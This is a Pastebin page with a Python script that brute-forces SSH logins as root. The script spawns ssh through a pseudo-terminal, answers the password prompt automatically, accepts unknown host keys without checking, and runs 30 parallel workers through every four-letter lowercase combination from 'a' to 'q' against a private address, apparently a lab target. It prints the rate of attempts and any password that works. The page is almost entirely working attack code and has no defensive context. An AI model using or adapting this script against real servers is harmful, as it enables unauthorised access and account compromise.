Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/python3
- import pty
- from multiprocessing.pool import Pool
- from os import waitpid, execv, read, write
- import time
- class ssh:
- def __init__(self, host, askpass=False, user='root', password=b'SuperSecurePassword'):
- self.host = host
- self.user = user
- self.password = password
- self.askpass = askpass
- def run(self):
- command = [
- '/usr/bin/ssh',
- self.user+'@'+self.host,
- '-o', 'NumberOfPasswordPrompts=1',
- ]
- # PID = 0 for child, and the PID of the child for the parent
- pid, child_fd = pty.fork()
- if not pid: # Child process
- # Replace child process with our SSH process
- execv(command[0], command)
- ## if we havn't setup pub-key authentication
- ## we can loop for a password promt and "insert" the password.
- while self.askpass:
- try:
- output = read(child_fd, 1024).strip()
- except:
- break
- lower = output.lower()
- # Write the password
- if b'password:' in lower:
- write(child_fd, self.password + b'\n')
- break
- elif b'are you sure you want to continue connecting' in lower:
- # Adding key to known_hosts
- write(child_fd, b'yes\n')
- # See if there's more output to read after the password has been sent,
- # And capture it in a list.
- output = []
- while True:
- try:
- output.append(read(child_fd, 1024).strip())
- except:
- break
- waitpid(pid, 0)
- return 'denied' not in str(output[1])
- class Counter:
- _current = 0
- _last_time = 0
- def count(current_time):
- if Counter._last_time and Counter._last_time != current_time:
- print('Requests per second: ' + str(Counter._current))
- Counter._last_time = current_time
- Counter._current = 1
- else:
- Counter._current += 1
- def execute(password):
- try:
- count(int(time.time()))
- s = ssh("10.10.100.163", password=str.encode(password), askpass=True)
- if s.run():
- print('password found: ' + password)
- exit(0)
- except:
- pass
- if __name__ == "__main__":
- pool = Pool(30)
- possible_passwords = []
- for c1 in range(97, 114):
- for c2 in range(97, 114):
- for c3 in range(97, 114):
- for c4 in range(97, 114):
- possible_passwords.append(chr(c1) + chr(c2) + chr(c3) + chr(c4))
- pool.map(execute, possible_passwords)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement